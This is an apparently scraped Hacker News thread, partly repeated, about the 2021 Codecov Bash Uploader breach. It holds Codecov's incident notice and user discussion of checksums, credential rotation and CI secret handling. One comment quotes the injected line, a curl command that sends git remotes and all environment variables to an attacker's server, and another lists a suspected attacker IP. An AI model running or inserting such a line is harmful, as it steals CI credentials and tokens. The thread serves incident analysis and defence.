9 ms·

Codecov Bash Uploader compromised

198 points by xiaq 5y ago

marlonmrn 5y ago
does anybody know the shasum of the infected version of that script?
cdmckay 5y ago
And their page is down so I can't find out any details. Great.
- brenainn 5y ago
  I know. I got the email and tried to follow the link. It would've been good to include all the information in the email.
- r4vik 5y ago
  copypasta here: About the Event Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you. On Thursday, April 1, 2021, we learned that someone had gained unauthorized access to our Bash Uploader script and modified it without our permission. The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script. Immediately upon becoming aware of the issue, Codecov secured and remediated the affected script and began investigating any potential impact on users. A third-party forensic firm has been engaged to assist us in this analysis. We have reported this matter to law enforcement and are fully cooperating with their investigation. Our investigation has determined that beginning January 31, 2021, there were periodic, unauthorized alterations of our Bash Uploader script by a third party, which enabled them to potentially export information stored in our users' continuous integration (CI) environments. This information was then sent to a third-party server outside of Codecov’s infrastructure. The Bash Uploader is also used in these related uploaders: Codecov-actions uploader for Github, the Codecov CircleCl Orb, and the Codecov Bitrise Step (together, the “Bash Uploaders”). Therefore, these related uploaders were also impacted by this event. The altered version of the Bash Uploader script could potentially affect: Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the Bash Uploader script was executed. Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys. The git remote information of repositories using the Bash Uploaders to upload coverage to Codecov in CI. Recommend Actions for Affected Users Because of our commitment to trust and transparency, we have worked diligently to determine the potential impact to our customers and identify customers who may have used the Bash Uploaders during the relevant time periods. For affected users, we have emailed you on April 15th using you email address on file from Github / Gitlab / Bitbucket, and there is a notification banner after you log in to Codecov. We strongly recommend affected users immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders. You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system. Additionally, if you use a locally stored version of a Bash Uploader, you should check that version for the following: curl -sm 0.5 -d “$(git remote -v) If this appears anywhere in your locally stored Bash Uploader, you should immediately replace the bash files with the most recent version from https://codecov.io/bash https://codecov.io/bash. If you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the Bash Uploader from https://codecov.io/bash https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the Bash Uploader by looking at your CI pipeline configuration. If you conducted a checksum comparison before using our Bash Uploaders as part of your CI processes, this issue may not impact you. Actions Taken by Codecov We have taken a number of steps to address this situation including: rotating all relevant internal credentials, including the key used to facilitate the modification of the Bash Uploader; auditing where and how the key was accessible; setting up monitoring and auditing tools to ensure that this kind of unintended change cannot occur to the Bash Uploader again; and working with the hosting provider of the third-party server to ensure the malicious webserver was properly decommissioned. Codecov maintains a variety of information security policies, procedures, practices, and controls. We continually monitor our network and systems for unusual activity, but Codecov, like any other company, is not immune to this type of event. We are also working to further enhance security so we can stay ahead of this type of activity, including reinforcing our security tools, policies, and procedures. We will continue to share with you as much information as we are able and encourage you to reach out to us with any questions or concerns you have at security@codecov.io. We value the trust you place in us and our solutions and pledge to continuously work to earn it. We regret any inconvenience this may cause and are committed to minimizing any potential impact on you, our users and customers. Sincerely, Jerrod Engelberg CEO, Codecov
  - jerrod 5y ago
    I'm Jerrod Engelberg, CEO of Codecov, and I'm confirming the above is factual. Sorry about the outage on the details page.
    - cdmckay 5y ago
      Why did you wait 2 weeks to notify us?
    - Waylander_k 5y ago
      Could you tell us how you determined who has or has not been affected?
    - mikedd65 5y ago
      Can you please tell users which repositories were affected? This situation is ridiculous for users with dozens repositories, using various CIs and various code coverage providers. A lot of checking, cleaning, rotating. The way you disclosed the issue is not helpful.
      - dbrgn 5y ago
        How would they do that? The bash script is a static file on a public host. Users can simply download it, without Codecov knowing about the repos it's being used in. Never automatically download any remote code without at least checking the checksum.
        mikedd65 5y ago
        The e-mail they sent includes "Unfortunately, we can confirm that you were impacted by this security event." which means that they know. I guess there is an API endpoint that is specific to Bash Uploader and they use that + dates of API requests to figure out who was impacted. This must also contain the repository info (and they just confirmed that they can figure this out).
        5y ago
misnome 5y ago
It took me a while to find this link, as helpfully the one they emailed out is checking some referral code and currently 500'ing. I think we're probably okay as we're an open source project, do pure testing on cloud CI's, and use the separate (non-bash) modules internally. Potentially compromising the GitHub app connection does sound immediately worrying, because of GitHub's terribly lax token permissions (e.g. the "All repositories or Nothing" access) - if they saw what the app connection could see, would they be able to see all private repos? I'm somewhat sympathetic to sites that suggest curl | bash as a once-off installation. Advocating that your users curl | bash every time you test your code does sound quite a bit more irresponsible.
mulmboy 5y ago
Trying to suss out the damage but getting 502. Begs the question of who's deploying static sites not behind a CDN? Assuming this site is static
hparadiz 5y ago
I wish they'd release the code that was modified so a threat assessment can be made
- marcinzm 5y ago
  I'm curious if they even know right now or if the code was being injected dynamically somehow. The post is sparse on the details.
- xmodem 5y ago
  Unfortunately archive.org last fetched the script in November last year: https://web.archive.org/web/2020*/https://codecov.io/bash https://web.archive.org/web/2020*/https://codecov.io/bash A quick diff against the current version doesn't show anything suspicios
- davidrans 5y ago
  Here it is; see line 525: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a4a1d10 https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
  - Jlleitschuh 5y ago
    Curious how you found that. Great find though. This is the exact line: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a4a1d10#file-bash-compromised-L525 https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
    - davidrans 5y ago
      https://news.ycombinator.com/item?id=26825432 https://news.ycombinator.com/item?id=26825432
rmorey 5y ago
> How did Codecov learn of this event? > A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from https://codecov.io/bash https://codecov.io/bash. > Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation. shoutout to this user for actually checking the shasum
- colonelpopcorn 5y ago
  Why they're not continuously checking it is beyond me.
  - travisjungroth 5y ago
    It seems like this would be a nice small service. Publicly compare checksums of software and flag/notify for misalignment. And maybe make it easier for people to grab the checksums for packages and check it themselves. Edit: I just bought hecksum.com.
- dbrgn 5y ago
  Public key signatures would be even better. Then you only need to install / audit / trust the public key once, versus updating the checksum for every new release. Of course, this assumes that signing isn't compromised too, if that's the case then you're pretty much out of luck since a malicious release would be superficially indistinguishible from a real release.
  - whydoyoucare 5y ago
    Well, that is what happened in the case of SolarWinds -- legit signatures on the dll that was modified early in the supply-chain. :-(
- londons_explore 5y ago
  So it took 3 months from the initial modification until someone bothered to check the shasum of their download?!?
filleokus 5y ago
It would be interesting to see what the compromised version of the bash script did, and how, more specifically. Software supply chain attacks seem to become more common. I guess it's no surprise, considering how powerful an attack vector it is.
- londons_explore 5y ago
  An advanced attack would fetch more code from a remote server, and that extra code would be client specific. It would probably just open up a reverse shell or something like that so the attackers server can do whatever it likes and its much harder to analyze exactly what has been stolen. The logic of what to steal could vary based on the environment etc.
  - remram 5y ago
    > It would probably just open up a reverse shell or something like that Codecov is a service meant to be run in CI, so your reverse shell would just be running in a GitHub/GitLab/... CI job. Not very interesting. You can however grab tokens from the environment that will give you access to the GitHub/GitLab/... repositories, which is much more valuable than getting a shell. It looks like it's exactly what they did: https://news.ycombinator.com/item?id=26825432 https://news.ycombinator.com/item?id=26825432
matoro 5y ago
> How did Codecov learn of this event? > A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from https://codecov.io/bash https://codecov.io/bash. > Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation. Just goes to show that checking published hashes is not as useless as it may seem.
- koolba 5y ago
  > Just goes to show that checking published hashes is not as useless as it may seem. It's better than nothing but if the first script that you are fetching is itself fetching other scripts without validation, you have the same problem, just hidden one level deeper.
throwaway823882 5y ago
So, on "rotate your credentials", some of the things you'll need to do: - Does your CI job query any system using a service account? Time to rotate that service account password. Hope it wasn't used by anything other than your CI system! - Accessing systems using tokens instead of service accounts? Time to figure out how to invalidate those old tokens and gen a new one. (Also, time to find out if all the systems you use can do that) - Using credentials as part of your build system, like downloading a for-pay plugin for a tool using a license key? Time to rotate those too. - Time to rotate any license keys used at build-time. - I hope you weren't using IAM users! If you weren't using instance profiles / task profiles, time to rotate those secret access keys. (some things you have to use IAM users for, like SES, iirc) - Time to invalidate everything you built since they were first compromised, invalidate all your caches, and re-build all your artifacts from scratch. - Time to see if you had any customer information / PII / PHI /etc accessible from your CI system. - If you deploy from your CI system, it could be that every system is potentially compromised. In which case, get ready to re-deploy everything after you have flushed and re-built everything from above step. - Start auditing, get PR to start drafting a sad letter to customers, and get someone to investigate how to reset customer passwords etc if needed.
- lincolnq 5y ago
  Haha, yup. And if you sign an Android app in CI, Codecov might have had access to your signing keys. Good luck changing those.
jpxw 5y ago
> Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you. Right at the start of the article - classic bit of corporate/PR BS to insulate the actually important information
skywhopper 5y ago
This is really unfortunate. Using a curl to fetch executable code from a static URL is dangerous for a lot of reasons, but doing it on every CI run is... asking for trouble. That said, I’m sure tons of folks will say the same thing. But any dynamically fetched code/modules/packages will suffer the same risk. While we have to be vigilant with those risks, there’s a more important step we can take and that’s to stop using static credentials for things like CI. Instead, we need to be building and using tools that can generate time-bounded temporary credentials. For example, today it’s common to put your AWS IAM user key and secret directly into Github’s secret storage where it feeds directly into environment variables that can leak through this sort of attack. Instead, GitHub should provide a way to delegate access to fetch temporary credentials that are only valid for a few minutes from AWS STS. Amazon has multiple ways to make this happen, but GitHub needs to support it and GitHub’s users would need to use it. And sure, AWS is just one of many secrets you probably have to work with, but GitHub and GitLab are in a position to make this sort of dynamic secret infra really commonplace and severely cut back on the damage these sorts of exploits can do, so I hope they are making that effort.
- dbrgn 5y ago
  > But any dynamically fetched code/modules/packages will suffer the same risk. A package manager usually employs signatures. In that case, the problem could have been avoided (unless the signing process itself is also compromised, then you're out of luck).
  - marcinzm 5y ago
    The issue only happens if the package manager platform is hacked rather than an individual package maintainer's credentials. The latter usually requires a new version to be pushed which people will notice and ask about (it's happened before). If the package manager platform is hacked then you're in trouble unless you employ a lock file.
throwbacktictac 5y ago
Considering the data at risk, the delay in notifying users was too long. That's 15 days in which the hacker was made aware to hastily make use of their stolen data.
marcinzm 5y ago
It took CodeCov 2 months to notice and only because a customer was checking sha. Then it took them 2 more weeks to notify customers. If they blocked the attack vector during that time then the attacker had a heads up to use credentials before customer's rotated. This is not a good look for CodeCov. edit: It seems not even their own code that used the bash uploader (github action, circleci orb, etc.) checked the sha sum. No excuse about lack of user friendliness there.
- mikedd65 5y ago
  And they did not fix the code of their own runners (like GHA) to check the SHA sum either..
  - cdmckay 5y ago
    What were they doing for 2 weeks?
oefrha 5y ago
> The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script. Docker layers hiding secrets is a big problem. Any solution other than education?
- raesene9 5y ago
  - If you don't care about the layer cache, flattening the image can get rid of things from intermediate layers - If you're using buildkit, there's secret support there https://docs.docker.com/develop/develop-images/build_enhancements/#new-docker-build-secret-information https://docs.docker.com/develop/develop-images/build_enhance...
  - oefrha 5y ago
    I know, but these solutions rely on developers being aware and follow best practices in the first place. The problem is anything that's not default on or at least in the getting started guide is going to be missed by a significant chunk of the userbase, so it's important to make security as automatic as possible. GitHub token scanning is nice for limiting secrets exposure in public git repos, for instance.
- marcinzm 5y ago
  In general your secrets should expose the minimum access needed for the actions to be performed. For a docker build that'd likely be reading rather than writing data. Short term rotated credentials over long term credentials. The goal is defense in depth so that even if a secret is leaked the damage is minimal.
- tmsbrg 5y ago
  Basically what you want is a Docker image static analysis tool in your CICD that rejects your pull request if it seems to contain a secret. I'm not really sure what would be the best tool for this, but googling got me to https://sysdig.com/blog/20-docker-security-tools/ https://sysdig.com/blog/20-docker-security-tools/ which has enough scanning tools to research. I don't think any will be foolproof though. Maybe you can also do what this guy did, use conftest with some OPA rules to detect what seems like a secret: https://cloudberry.engineering/article/dockerfile-security-best-practices/ https://cloudberry.engineering/article/dockerfile-security-b... If your secrets all follow RFC 8959 ( https://tools.ietf.org/html/rfc8959 https://tools.ietf.org/html/rfc8959 ) then you could make it fool proof by just searching for secret-token: with the tool from the previous blog post. However I've yet to find a place that uses this RFC for all secrets.
lhobas 5y ago
Interesting that no hash/checksum verification has been added in their CI actions, like here, yet: https://github.com/codecov/codecov-action/blob/master/src/index.ts#L11-L16 https://github.com/codecov/codecov-action/blob/master/src/in...
- throwbacktictac 5y ago
  Looks like a PR [1] was started 4 hours ago but for such a simple task not much progress has been made. Security breaches happen. If it hasn't happened yet consider it luck. I'm disappointed by the lack of urgency in the response and failure to take nominal steps in improving their posture. I hope this is a wake up call for them and other Saas companies. [1]https://github.com/codecov/codecov-action/pull/282 https://github.com/codecov/codecov-action/pull/282
koolba 5y ago
> How do I know what environment variables of mine may have been available to the actor? Collapse > You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system. Be aware that the output will be sent to your CI output logs. If those logs are public (e.g. a FOSS project) then they will be publicly published and expose all your environment secrets.
- tyingq 5y ago
  > How do I know what environment variables of mine may have been available to the actor? Isn't that a tiny portion of what you would have to worry about? They seem too confident that they know exactly what unintended code was in the bash uploader script for the entire duration. Is there something about the setup that gives them that confidence?
- mhils 5y ago
  Most (all?) major CI providers automatically censor secrets printed in the worker log, so this is not as much of a concern. :)
vgrigoruk 5y ago
Is it safe to assume that https://codecov.io/env https://codecov.io/env was not compromised?
- humanfromearth 5y ago
  Given other comments in this post, I think at this point it's not safe to assume that.
throwawaaaaaaay 5y ago
"Is it safe to use Codecov systems and services? Yes. Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect them."
davidrans 5y ago
From Eli Hooten, CodeCov's CTO, in a personal message: > Based on the nature of this attack I do not believe malicious actions were executed directly against the CI pipeline, nor do we have any evidence of it. I have included the malicious bash script for your review so you can fully understand the scope of the attack. Of interest is line 525 > line 525 was the only change we've observed. I have removed the IP address in the curl command as it is part of an ongoing federal investigation Compromised script: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a4a1d10 https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a... And here's line 525: curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://ATTACKERIP/upload/v2 || true
- YPCrumble 5y ago
  So the hackers stole every environment variable for the context in which the Codecov script was run. It means that if you use CI to deploy your code, all of your credentials have been leaked.
- rdsubhas 5y ago
  Most CI sytems have Github Token as an environment variable. That provides a second layer of attack. Attacker by this time could have cloned all repositories, so whatever config, credentials, service account files or anything inside these repos are also assumed to be compromised. Not just environment variables.
- goerz 5y ago
  Why doesn’t GitHub Actions limit the environment variables it exposes to jobs/steps? The codecov step doesn’t need my GitHub or PyPI tokens! Environment variables should be opt-in for every step in the pipeline: I should have to explicitly list every environment variable I want to expose. This leak is as much on GitHub as it is on Codecov
  - mhils 5y ago
    GitHub actually introduced "Environments" recently, which allow you to do what you are asking for. Lots of existing pipelines haven't migrated yet of course. https://docs.github.com/en/actions/reference/environments https://docs.github.com/en/actions/reference/environments
Waylander_k 5y ago
Does anyone have the bash uploader script on hand with version 20210309-2b87ace?
- deeebug 5y ago
  This looks to be that version: https://github.com/ehmicky/dev-tasks/blob/1f6cd2a9c7bc2146b7d7d04a18e5d60bcf58ab62/src/tasks/cover/codecov.sh https://github.com/ehmicky/dev-tasks/blob/1f6cd2a9c7bc2146b7... Though this was uploaded before April 1, and it doesn't appear to have any malicious code.
rdsubhas 5y ago
Building the entire backbone of a CI product based on `bash <(curl` script. Honestly. This is more like Play stupid games, win stupid prizes. Did someone even attempt to google "don't run random scripts from the internet" here? There is a world of a difference between offering a "bash <(curl" for one-off development/laptop use vs. giving official instructions to put it in a automation scripts. If someone is uploading code coverage reports for some language – they have way better, safer options. Maven packages, `go run`, npm packages, deb packages, etc. All of these have better security and checksumming built in. From what's seen in the report, even all their other products (github app, etc) were built on top of this bash uploader script, and even their own hosted solutions did not validate their checksum. Looks like they were pretty seriously pushing "just source a script from internet" as an official principle. Of course the CI was backdoored. Facepalm.
- whydoyoucare 5y ago
  "bash <(curl" is the new cool. Mind-boggling number of projects pull this sh*, look at https://brew.sh/ https://brew.sh/ for instance.
eltron3030 5y ago
Bleeping Computer may have identified the attackers IP in a screenshot? https://www.bleepingcomputer.com/news/security/popular-codecov-code-coverage-tool-hacked-to-steal-dev-credentials/ https://www.bleepingcomputer.com/news/security/popular-codec... 104.248.94.23
enapupe 5y ago
shouts to whoever is out there rotating keys since the announcement of this incident.
rognjen 5y ago
This is a very concerning trend. The reliance on external tools is causing them to be a much more frequent attack vector. SolarWinds, the Github actions thing, this.

198 points by xiaq 5y ago

marlonmrn 5y ago

does anybody know the shasum of the infected version of that script?

cdmckay 5y ago

And their page is down so I can't find out any details. Great.

brenainn 5y ago
I know. I got the email and tried to follow the link. It would've been good to include all the information in the email.
r4vik 5y ago
copypasta here: About the Event Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you. On Thursday, April 1, 2021, we learned that someone had gained unauthorized access to our Bash Uploader script and modified it without our permission. The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script. Immediately upon becoming aware of the issue, Codecov secured and remediated the affected script and began investigating any potential impact on users. A third-party forensic firm has been engaged to assist us in this analysis. We have reported this matter to law enforcement and are fully cooperating with their investigation. Our investigation has determined that beginning January 31, 2021, there were periodic, unauthorized alterations of our Bash Uploader script by a third party, which enabled them to potentially export information stored in our users' continuous integration (CI) environments. This information was then sent to a third-party server outside of Codecov’s infrastructure. The Bash Uploader is also used in these related uploaders: Codecov-actions uploader for Github, the Codecov CircleCl Orb, and the Codecov Bitrise Step (together, the “Bash Uploaders”). Therefore, these related uploaders were also impacted by this event. The altered version of the Bash Uploader script could potentially affect: Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the Bash Uploader script was executed. Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys. The git remote information of repositories using the Bash Uploaders to upload coverage to Codecov in CI. Recommend Actions for Affected Users Because of our commitment to trust and transparency, we have worked diligently to determine the potential impact to our customers and identify customers who may have used the Bash Uploaders during the relevant time periods. For affected users, we have emailed you on April 15th using you email address on file from Github / Gitlab / Bitbucket, and there is a notification banner after you log in to Codecov. We strongly recommend affected users immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders. You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system. Additionally, if you use a locally stored version of a Bash Uploader, you should check that version for the following: curl -sm 0.5 -d “$(git remote -v) If this appears anywhere in your locally stored Bash Uploader, you should immediately replace the bash files with the most recent version from https://codecov.io/bash https://codecov.io/bash. If you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the Bash Uploader from https://codecov.io/bash https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the Bash Uploader by looking at your CI pipeline configuration. If you conducted a checksum comparison before using our Bash Uploaders as part of your CI processes, this issue may not impact you. Actions Taken by Codecov We have taken a number of steps to address this situation including: rotating all relevant internal credentials, including the key used to facilitate the modification of the Bash Uploader; auditing where and how the key was accessible; setting up monitoring and auditing tools to ensure that this kind of unintended change cannot occur to the Bash Uploader again; and working with the hosting provider of the third-party server to ensure the malicious webserver was properly decommissioned. Codecov maintains a variety of information security policies, procedures, practices, and controls. We continually monitor our network and systems for unusual activity, but Codecov, like any other company, is not immune to this type of event. We are also working to further enhance security so we can stay ahead of this type of activity, including reinforcing our security tools, policies, and procedures. We will continue to share with you as much information as we are able and encourage you to reach out to us with any questions or concerns you have at security@codecov.io. We value the trust you place in us and our solutions and pledge to continuously work to earn it. We regret any inconvenience this may cause and are committed to minimizing any potential impact on you, our users and customers. Sincerely, Jerrod Engelberg CEO, Codecov
- jerrod 5y ago
  I'm Jerrod Engelberg, CEO of Codecov, and I'm confirming the above is factual. Sorry about the outage on the details page.
  - cdmckay 5y ago
    Why did you wait 2 weeks to notify us?
  - Waylander_k 5y ago
    Could you tell us how you determined who has or has not been affected?
  - mikedd65 5y ago
    Can you please tell users which repositories were affected? This situation is ridiculous for users with dozens repositories, using various CIs and various code coverage providers. A lot of checking, cleaning, rotating. The way you disclosed the issue is not helpful.
    - dbrgn 5y ago
      How would they do that? The bash script is a static file on a public host. Users can simply download it, without Codecov knowing about the repos it's being used in. Never automatically download any remote code without at least checking the checksum.
      - mikedd65 5y ago
        The e-mail they sent includes "Unfortunately, we can confirm that you were impacted by this security event." which means that they know. I guess there is an API endpoint that is specific to Bash Uploader and they use that + dates of API requests to figure out who was impacted. This must also contain the repository info (and they just confirmed that they can figure this out).
        5y ago

misnome 5y ago

It took me a while to find this link, as helpfully the one they emailed out is checking some referral code and currently 500'ing. I think we're probably okay as we're an open source project, do pure testing on cloud CI's, and use the separate (non-bash) modules internally. Potentially compromising the GitHub app connection does sound immediately worrying, because of GitHub's terribly lax token permissions (e.g. the "All repositories or Nothing" access) - if they saw what the app connection could see, would they be able to see all private repos? I'm somewhat sympathetic to sites that suggest curl | bash as a once-off installation. Advocating that your users curl | bash every time you test your code does sound quite a bit more irresponsible.

mulmboy 5y ago

Trying to suss out the damage but getting 502. Begs the question of who's deploying static sites not behind a CDN? Assuming this site is static

hparadiz 5y ago

I wish they'd release the code that was modified so a threat assessment can be made

marcinzm 5y ago
I'm curious if they even know right now or if the code was being injected dynamically somehow. The post is sparse on the details.
xmodem 5y ago
Unfortunately archive.org last fetched the script in November last year: https://web.archive.org/web/2020*/https://codecov.io/bash https://web.archive.org/web/2020*/https://codecov.io/bash A quick diff against the current version doesn't show anything suspicios
davidrans 5y ago
Here it is; see line 525: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a4a1d10 https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
- Jlleitschuh 5y ago
  Curious how you found that. Great find though. This is the exact line: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a4a1d10#file-bash-compromised-L525 https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
  - davidrans 5y ago
    https://news.ycombinator.com/item?id=26825432 https://news.ycombinator.com/item?id=26825432

rmorey 5y ago

> How did Codecov learn of this event? > A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from https://codecov.io/bash https://codecov.io/bash. > Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation. shoutout to this user for actually checking the shasum

colonelpopcorn 5y ago
Why they're not continuously checking it is beyond me.
- travisjungroth 5y ago
  It seems like this would be a nice small service. Publicly compare checksums of software and flag/notify for misalignment. And maybe make it easier for people to grab the checksums for packages and check it themselves. Edit: I just bought hecksum.com.
dbrgn 5y ago
Public key signatures would be even better. Then you only need to install / audit / trust the public key once, versus updating the checksum for every new release. Of course, this assumes that signing isn't compromised too, if that's the case then you're pretty much out of luck since a malicious release would be superficially indistinguishible from a real release.
- whydoyoucare 5y ago
  Well, that is what happened in the case of SolarWinds -- legit signatures on the dll that was modified early in the supply-chain. :-(
londons_explore 5y ago
So it took 3 months from the initial modification until someone bothered to check the shasum of their download?!?

filleokus 5y ago

It would be interesting to see what the compromised version of the bash script did, and how, more specifically. Software supply chain attacks seem to become more common. I guess it's no surprise, considering how powerful an attack vector it is.

londons_explore 5y ago
An advanced attack would fetch more code from a remote server, and that extra code would be client specific. It would probably just open up a reverse shell or something like that so the attackers server can do whatever it likes and its much harder to analyze exactly what has been stolen. The logic of what to steal could vary based on the environment etc.
- remram 5y ago
  > It would probably just open up a reverse shell or something like that Codecov is a service meant to be run in CI, so your reverse shell would just be running in a GitHub/GitLab/... CI job. Not very interesting. You can however grab tokens from the environment that will give you access to the GitHub/GitLab/... repositories, which is much more valuable than getting a shell. It looks like it's exactly what they did: https://news.ycombinator.com/item?id=26825432 https://news.ycombinator.com/item?id=26825432

matoro 5y ago

> How did Codecov learn of this event? > A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from https://codecov.io/bash https://codecov.io/bash. > Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation. Just goes to show that checking published hashes is not as useless as it may seem.

koolba 5y ago
> Just goes to show that checking published hashes is not as useless as it may seem. It's better than nothing but if the first script that you are fetching is itself fetching other scripts without validation, you have the same problem, just hidden one level deeper.

throwaway823882 5y ago

So, on "rotate your credentials", some of the things you'll need to do: - Does your CI job query any system using a service account? Time to rotate that service account password. Hope it wasn't used by anything other than your CI system! - Accessing systems using tokens instead of service accounts? Time to figure out how to invalidate those old tokens and gen a new one. (Also, time to find out if all the systems you use can do that) - Using credentials as part of your build system, like downloading a for-pay plugin for a tool using a license key? Time to rotate those too. - Time to rotate any license keys used at build-time. - I hope you weren't using IAM users! If you weren't using instance profiles / task profiles, time to rotate those secret access keys. (some things you have to use IAM users for, like SES, iirc) - Time to invalidate everything you built since they were first compromised, invalidate all your caches, and re-build all your artifacts from scratch. - Time to see if you had any customer information / PII / PHI /etc accessible from your CI system. - If you deploy from your CI system, it could be that every system is potentially compromised. In which case, get ready to re-deploy everything after you have flushed and re-built everything from above step. - Start auditing, get PR to start drafting a sad letter to customers, and get someone to investigate how to reset customer passwords etc if needed.

lincolnq 5y ago
Haha, yup. And if you sign an Android app in CI, Codecov might have had access to your signing keys. Good luck changing those.

jpxw 5y ago

> Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you. Right at the start of the article - classic bit of corporate/PR BS to insulate the actually important information

skywhopper 5y ago

This is really unfortunate. Using a curl to fetch executable code from a static URL is dangerous for a lot of reasons, but doing it on every CI run is... asking for trouble. That said, I’m sure tons of folks will say the same thing. But any dynamically fetched code/modules/packages will suffer the same risk. While we have to be vigilant with those risks, there’s a more important step we can take and that’s to stop using static credentials for things like CI. Instead, we need to be building and using tools that can generate time-bounded temporary credentials. For example, today it’s common to put your AWS IAM user key and secret directly into Github’s secret storage where it feeds directly into environment variables that can leak through this sort of attack. Instead, GitHub should provide a way to delegate access to fetch temporary credentials that are only valid for a few minutes from AWS STS. Amazon has multiple ways to make this happen, but GitHub needs to support it and GitHub’s users would need to use it. And sure, AWS is just one of many secrets you probably have to work with, but GitHub and GitLab are in a position to make this sort of dynamic secret infra really commonplace and severely cut back on the damage these sorts of exploits can do, so I hope they are making that effort.

dbrgn 5y ago
> But any dynamically fetched code/modules/packages will suffer the same risk. A package manager usually employs signatures. In that case, the problem could have been avoided (unless the signing process itself is also compromised, then you're out of luck).
- marcinzm 5y ago
  The issue only happens if the package manager platform is hacked rather than an individual package maintainer's credentials. The latter usually requires a new version to be pushed which people will notice and ask about (it's happened before). If the package manager platform is hacked then you're in trouble unless you employ a lock file.

throwbacktictac 5y ago

Considering the data at risk, the delay in notifying users was too long. That's 15 days in which the hacker was made aware to hastily make use of their stolen data.

marcinzm 5y ago

It took CodeCov 2 months to notice and only because a customer was checking sha. Then it took them 2 more weeks to notify customers. If they blocked the attack vector during that time then the attacker had a heads up to use credentials before customer's rotated. This is not a good look for CodeCov. edit: It seems not even their own code that used the bash uploader (github action, circleci orb, etc.) checked the sha sum. No excuse about lack of user friendliness there.

mikedd65 5y ago
And they did not fix the code of their own runners (like GHA) to check the SHA sum either..
- cdmckay 5y ago
  What were they doing for 2 weeks?

oefrha 5y ago

> The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script. Docker layers hiding secrets is a big problem. Any solution other than education?

raesene9 5y ago
- If you don't care about the layer cache, flattening the image can get rid of things from intermediate layers - If you're using buildkit, there's secret support there https://docs.docker.com/develop/develop-images/build_enhancements/#new-docker-build-secret-information https://docs.docker.com/develop/develop-images/build_enhance...
- oefrha 5y ago
  I know, but these solutions rely on developers being aware and follow best practices in the first place. The problem is anything that's not default on or at least in the getting started guide is going to be missed by a significant chunk of the userbase, so it's important to make security as automatic as possible. GitHub token scanning is nice for limiting secrets exposure in public git repos, for instance.
marcinzm 5y ago
In general your secrets should expose the minimum access needed for the actions to be performed. For a docker build that'd likely be reading rather than writing data. Short term rotated credentials over long term credentials. The goal is defense in depth so that even if a secret is leaked the damage is minimal.
tmsbrg 5y ago
Basically what you want is a Docker image static analysis tool in your CICD that rejects your pull request if it seems to contain a secret. I'm not really sure what would be the best tool for this, but googling got me to https://sysdig.com/blog/20-docker-security-tools/ https://sysdig.com/blog/20-docker-security-tools/ which has enough scanning tools to research. I don't think any will be foolproof though. Maybe you can also do what this guy did, use conftest with some OPA rules to detect what seems like a secret: https://cloudberry.engineering/article/dockerfile-security-best-practices/ https://cloudberry.engineering/article/dockerfile-security-b... If your secrets all follow RFC 8959 ( https://tools.ietf.org/html/rfc8959 https://tools.ietf.org/html/rfc8959 ) then you could make it fool proof by just searching for secret-token: with the tool from the previous blog post. However I've yet to find a place that uses this RFC for all secrets.

lhobas 5y ago

